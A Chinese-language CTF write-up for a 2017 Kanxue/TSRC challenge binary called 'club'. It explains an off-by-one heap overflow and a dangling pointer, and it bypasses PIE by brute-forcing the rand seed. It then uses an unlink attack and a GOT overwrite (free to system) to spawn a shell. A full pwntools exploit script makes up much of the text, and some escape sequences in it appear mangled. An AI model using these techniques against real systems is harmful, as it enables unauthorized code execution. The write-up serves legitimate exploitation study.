off-by-one&doublefree. 看雪10月ctf2017 TSRC 第四题赛后学习

off-by-one

0x00 发现漏洞

1.off-by-one

在massage函数中,如图所示,可以修改的字节数比原内存大小多了一个字节

2.悬挂指针

可以看到,在free堆块的时候,没有清空指针,造成悬挂指针

0x01漏洞利用

1.绕过PIE

在函数guess_box中让我们猜测随机数的值,随机数种子是seed的地址的后8位字节

由于随机数并不是真正的随机,随机数的产生是有规律的,在两个不同的环境下同样的种子每次产生的随机数都是相同的。由此我们可以进行爆破,从而得到seed的地址,进一步绕过PIE.

2.unlink

首先创建两个堆块,大小分别是0x108,0x120。当一个 chunk 处于使用状态时, 它的下一个 chunk 的 prev_size域肯定是无效的。所以实际上,这个空间也可以被当前 chunk 使用。 在这里的意思就是说0x108这个堆块占用了0x120堆块的prev_size域,继续往下就是0x120堆块的size域了,而我们此时恰好可以继续往下写一个字节,这个字节可以覆盖0x120 size域的NP值,我们只需要P值被改变就行。下图是创建两个堆块之后的堆内存状态。

然后我们修改第二块内存。

base = 程序基址
p64(0)
+p64(0x101)+p64(base+0x0000000000202108-24)+p64(base+0x0000000000202108-16)+'a'*0xe0+p64(0x100)+'x30'

 为了绕过unlink检查,构造了一个伪造的chunk。现在堆内存如下图。

3.getshell

因为给了libc。所以只要直接leak got来获取libc位置。再将free改成system来free一块保存/bin/sh的chunk就可以获得shell。exp如下。
from pwn import *
import ctypes
 
context.log_level = 'debug'
so = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./libc.so.6')
 
t = process('./club')
# t = remote('123.206.22.95', 8888)
 
def guess(num = 12345):
    t.recvuntil('> ')
    t.sendline('5')
    t.recvuntil('> ')
    t.sendline(str(num))
    t.recvuntil('Wr0ng answer!The number is ')
    num = t.recvuntil('!')
    return int(num[:-1])
 
def get_base(num):
    t.recvuntil('> ')
    t.sendline('5')
    t.recvuntil('> ')
    t.sendline(str(num))
    t.recvuntil('G00dj0b!You get a secret: ')
    num = t.recvuntil('!')
    return int(num[:-1])
 
def guess_seed(num):
    for i in xrange(0x100000,0,-1):
        i = i<<12
        i += 0x148
        so.srand(i)
        j = 0
        while j < 30:
            j += 1
            a = so.rand()
            if a == num[j-1]:
                continue
            break
        if j == 30:
            return so.rand()
    print 'aaa'
    print i
    return 0
def add(choose, size):
    t.recvuntil('> ')
    t.sendline("1")
    t.recvuntil('> ')
    t.sendline(str(choose))
    t.recvuntil('> ')
    t.sendline(str(size))
 
def edit(choose, payload):
    t.recvuntil('> ')
    t.sendline("3")
    t.recvuntil('> ')
    t.sendline(str(choose))
    t.send(payload)
 
def free(choose):
    t.recvuntil('> ')
    t.sendline("2")
    t.recvuntil('> ')
    t.sendline(str(choose))
     
         
num_table = []
for i in range(30):
    num_table.append(guess())
 
print num_table
 
r = guess_seed(num_table)
 
num = get_base(r)
base = num - 0x0000000000202148
print hex(base)
 

add(1, 0x108)
add(2, 0x120)

edit(1, p64(0)+p64(0x101)+p64(base+0x0000000000202108-24)+p64(base+0x0000000000202108-16)+'a'*0xe0+p64(0x100)+'x30')
raw_input()
free(2)
 
edit(1,p64(base + 0x0000000000202018)+p64(base + 0x0000000000202018) + p64(base + 0x0000000000202018) + p64(base + 0x0000000000202018)+'
')
 
print 'aaaaaaaaa'
 
 
t.recvuntil('> ')
t.sendline("4")
t.recvuntil('> ')
t.sendline("1")
 
a = t.recvline()[:-1]
a = a.ljust(8,'x00')
free_a = u64(a)
print hex(free_a)
libc = free_a - elf.symbols['free']
system = libc + elf.symbols['system']
edit(1, p64(system)+'
')
add(3, 0x138)
edit(3, '/bin/shx00
')
 
free(3)
t.interactive()
View Code
原文地址:https://www.cnblogs.com/elvirangel/p/7773843.html